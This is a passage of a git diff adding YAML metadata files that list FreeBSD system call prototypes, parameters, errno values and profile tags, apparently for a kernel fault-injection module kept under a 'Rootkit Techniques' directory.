Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsid.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct getsid_args *uap +parms: td, uap +errors: + - ESRCH +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockname.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockname.yml new file mode 100644 index 0000000..8decdb6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockname.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct getsockname_args *uap +parms: td, uap +errors: + - EBADF + - ECONNRESET + - EINVAL + - ENOTSOCK + - ENOBUFS + - EFAULT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockopt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockopt.yml new file mode 100644 index 0000000..86f60d3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/getsockopt.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct getsockopt_args *uap +parms: td, uap +errors: + - EBADF + - ENOTSOCK + - ENOPROTOOPT + - EFAULT + - EINVAL + - ENOMEM +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/gettimeofday.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/gettimeofday.yml new file mode 100644 index 0000000..0d1acfa --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/gettimeofday.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct gettimeofday_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ioctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ioctl.yml new file mode 100644 index 0000000..68ded58 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ioctl.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct ioctl_args *uap +parms: td, uap +errors: + - EBADF + - ENOTTY + - EINVAL + - EFAULT +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail.yml new file mode 100644 index 0000000..dd050a2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct jail_args *uap +parms: td, uap +errors: + - ENOTDIR + - EPERM + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO + - EFAULT + - EINVAL + - EAGAIN +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_attach.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_attach.yml new file mode 100644 index 0000000..aa3a88a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_attach.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct jail_attach_args *uap +parms: td, uap +errors: + - ENOTDIR + - EPERM + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO + - EINVAL +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_get.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_get.yml new file mode 100644 index 0000000..896e479 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_get.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct jail_get_args *uap +parms: td, uap +errors: + - EFAULT + - ENOENT + - EINVAL +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_remove.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_remove.yml new file mode 100644 index 0000000..7822b5d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_remove.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct jail_remove_args *uap +parms: td, uap +errors: + - EPERM + - EINVAL +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_set.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_set.yml new file mode 100644 index 0000000..42ed400 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/jail_set.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct jail_set_args *uap +parms: td, uap +errors: + - ENOTDIR + - EPERM + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO + - EINVAL +profiles: + - security diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kenv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kenv.yml new file mode 100644 index 0000000..749718c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kenv.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct kenv_args *uap +parms: td, uap +errors: + - EINVAL + - ENOENT + - EPERM + - EFAULT + - ENAMETOOLONG diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kevent.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kevent.yml new file mode 100644 index 0000000..f47a15b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kevent.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct kevent_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EBADF + - EINTR + - EINTR + - EINVAL + - ENOENT + - ENOMEM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kill.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kill.yml new file mode 100644 index 0000000..1820a34 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kill.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct kill_args *uap +parms: td, uap +errors: + - EINVAL + - ESRCH + - EPERM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kqueue.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kqueue.yml new file mode 100644 index 0000000..1b0a4b5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/kqueue.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct kqueue_args *uap +parms: td, uap +errors: + - ENOMEM + - EMFILE + - ENFILE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchflags.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchflags.yml new file mode 100644 index 0000000..9e654a1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchflags.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct lchflags_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EOPNOTSUPP +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchmod.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchmod.yml new file mode 100644 index 0000000..4e74d85 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchmod.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct lchmod_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO + - EFTYPE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchown.yml new file mode 100644 index 0000000..5b86047 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lchown.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct lchown_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lgetfh.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lgetfh.yml new file mode 100644 index 0000000..9b26543 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lgetfh.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct lgetfh_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/link.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/link.yml new file mode 100644 index 0000000..3e206c4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/link.yml @@ -0,0 +1,21 @@ +proto: struct thread *td, struct link_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EOPNOTSUPP + - EMLINK + - EACCES + - ENOENT + - EEXIST + - EPERM + - EXDEV + - ENOSPC + - EDQUOT + - ELOOP + - EIO + - EROFS + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/linkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/linkat.yml new file mode 100644 index 0000000..6415530 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/linkat.yml @@ -0,0 +1,24 @@ +proto: struct thread *td, struct linkat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EOPNOTSUPP + - EMLINK + - EACCES + - ENOENT + - EEXIST + - EPERM + - EXDEV + - ENOSPC + - EDQUOT + - ELOOP + - EIO + - EROFS + - EFAULT + - EBADF + - EINVAL + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lio_listio.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lio_listio.yml new file mode 100644 index 0000000..35865cf --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lio_listio.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct lio_listio_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EINTR + - EIO + - EAGAIN + - EOPNOTSUPP + - EBADF + - EOVERFLOW + - ECANCELED +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/listen.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/listen.yml new file mode 100644 index 0000000..b893255 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/listen.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct listen_args *uap +parms: td, uap +errors: + - EBADF + - EDESTADDRREQ + - EINVAL + - ENOTSOCK + - EOPNOTSUPP +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lpathconf.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lpathconf.yml new file mode 100644 index 0000000..1763376 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lpathconf.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct lpathconf_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lseek.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lseek.yml new file mode 100644 index 0000000..174eab1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lseek.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct lseek_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - ENXIO + - EOVERFLOW + - ESPIPE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lutimes.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lutimes.yml new file mode 100644 index 0000000..975c118 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/lutimes.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct lutimes_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/madvise.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/madvise.yml new file mode 100644 index 0000000..ee19be4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/madvise.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct madvise_args *uap +parms: td, uap +errors: + - EINVAL + - ENOMEM + - EPERM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mincore.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mincore.yml new file mode 100644 index 0000000..d88479f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mincore.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct mincore_args *uap +parms: td, uap +errors: + - ENOMEM + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/minherit.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/minherit.yml new file mode 100644 index 0000000..4db71c0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/minherit.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct minherit_args *uap +parms: td, uap +errors: + - EINVAL + - EACCES diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdir.yml new file mode 100644 index 0000000..a66c216 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdir.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct mkdir_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EEXIST + - ENOSPC + - EDQUOT + - EIO + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdirat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdirat.yml new file mode 100644 index 0000000..b2bcc98 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkdirat.yml @@ -0,0 +1,19 @@ +proto: struct thread *td, struct mkdirat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EROFS + - EEXIST + - ENOSPC + - EDQUOT + - EIO + - EFAULT + - EBADF + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifo.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifo.yml new file mode 100644 index 0000000..ae7cbce --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifo.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct mkfifo_args *uap +parms: td, uap +errors: + - ENOTSUP + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EROFS + - EEXIST + - EPERM + - ENOSPC + - EDQUOT + - EIO + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifoat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifoat.yml new file mode 100644 index 0000000..d2678d4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mkfifoat.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct mkfifoat_args *uap +parms: td, uap +errors: + - ENOTSUP + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EROFS + - EEXIST + - EPERM + - ENOSPC + - EDQUOT + - EIO + - EFAULT + - EBADF diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mknodat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mknodat.yml new file mode 100644 index 0000000..9997958 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mknodat.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct mknodat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EIO + - ENOSPC + - EDQUOT + - EROFS + - EEXIST + - EFAULT + - EINVAL + - EBADF diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlock.yml new file mode 100644 index 0000000..c013c5d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlock.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct mlock_args *uap +parms: td, uap +errors: + - EINVAL + - EAGAIN + - ENOMEM + - EPERM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlockall.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlockall.yml new file mode 100644 index 0000000..cc2eae5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mlockall.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct mlockall_args *uap +parms: td, uap +errors: + - EINVAL + - ENOMEM + - EAGAIN + - EPERM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mmap.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mmap.yml new file mode 100644 index 0000000..95dae14 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mmap.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct mmap_args *uap +parms: td, uap +errors: + - EACCES + - EBADF + - EINVAL + - ENOMEM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modfind.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modfind.yml new file mode 100644 index 0000000..55a8e25 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modfind.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct modfind_args *uap +parms: td, uap +errors: + - EFAULT + - ENOENT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modstat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modstat.yml new file mode 100644 index 0000000..eb6a3a7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/modstat.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct modstat_args *uap +parms: td, uap +errors: + - ENOENT + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mount.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mount.yml new file mode 100644 index 0000000..49de172 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mount.yml @@ -0,0 +1,22 @@ +proto: struct thread *td, struct mount_args *uap +parms: td, uap +errors: + - EPERM + - ENAMETOOLONG + - ELOOP + - ENOENT + - ENOTDIR + - EBUSY + - EFAULT + - ENODEV + - ENOTBLK + - ENXIO + - EBUSY + - EMFILE + - EINVAL + - ENOMEM + - EIO + - EFAULT + - ETIMEDOUT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mprotect.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mprotect.yml new file mode 100644 index 0000000..f37acd0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/mprotect.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct mprotect_args *uap +parms: td, uap +errors: + - EINVAL + - EACCES +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgctl.yml new file mode 100644 index 0000000..cb60506 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgctl.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct msgctl_args *uap +parms: td, uap +errors: + - EPERM + - EACCES + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgget.yml new file mode 100644 index 0000000..100cc81 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgget.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct msgget_args *uap +parms: td, uap +errors: + - EACCES + - EEXIST + - ENOSPC + - ENOENT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgrcv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgrcv.yml new file mode 100644 index 0000000..74ebb72 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgrcv.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct msgrcv_args *uap +parms: td, uap +errors: + - EINVAL + - E2BIG + - EACCES + - EFAULT + - EINTR + - ENOMSG diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgsnd.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgsnd.yml new file mode 100644 index 0000000..45b3a20 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msgsnd.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct msgsnd_args *uap +parms: td, uap +errors: + - EINVAL + - EACCES + - EAGAIN + - EFAULT + - EINTR diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msync.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msync.yml new file mode 100644 index 0000000..8d69ee6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/msync.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct msync_args *uap +parms: td, uap +errors: + - EBUSY + - EINVAL + - ENOMEM + - EINVAL + - EIO +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlock.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlock.yml new file mode 100644 index 0000000..b6d3947 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlock.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct munlock_args *uap +parms: td, uap +errors: + - EPERM + - EINVAL + - ENOMEM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlockall.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlockall.yml new file mode 100644 index 0000000..ee95f5c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munlockall.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct munlockall_args *uap +parms: td, uap +errors: + - EINVAL + - ENOMEM + - EAGAIN + - EPERM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munmap.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munmap.yml new file mode 100644 index 0000000..f0ac734 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/munmap.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct munmap_args *uap +parms: td, uap +errors: + - EINVAL +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nanosleep.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nanosleep.yml new file mode 100644 index 0000000..6c80118 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nanosleep.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct nanosleep_args *uap +parms: td, uap +errors: + - EFAULT + - EINTR + - EINVAL + - EINVAL + - EINVAL + - ENOTSUP +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nfssvc.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nfssvc.yml new file mode 100644 index 0000000..4a431cd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nfssvc.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct nfssvc_args *uap +parms: td, uap +errors: + - ENEEDAUTH + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nmount.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nmount.yml new file mode 100644 index 0000000..2b98904 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/nmount.yml @@ -0,0 +1,22 @@ +proto: struct thread *td, struct nmount_args *uap +parms: td, uap +errors: + - EPERM + - ENAMETOOLONG + - ELOOP + - ENOENT + - ENOTDIR + - EBUSY + - EFAULT + - ENODEV + - ENOTBLK + - ENXIO + - EBUSY + - EMFILE + - EINVAL + - ENOMEM + - EIO + - EFAULT + - ETIMEDOUT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/open.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/open.yml new file mode 100644 index 0000000..b805668 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/open.yml @@ -0,0 +1,31 @@ +proto: struct thread *td, struct open_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - EISDIR + 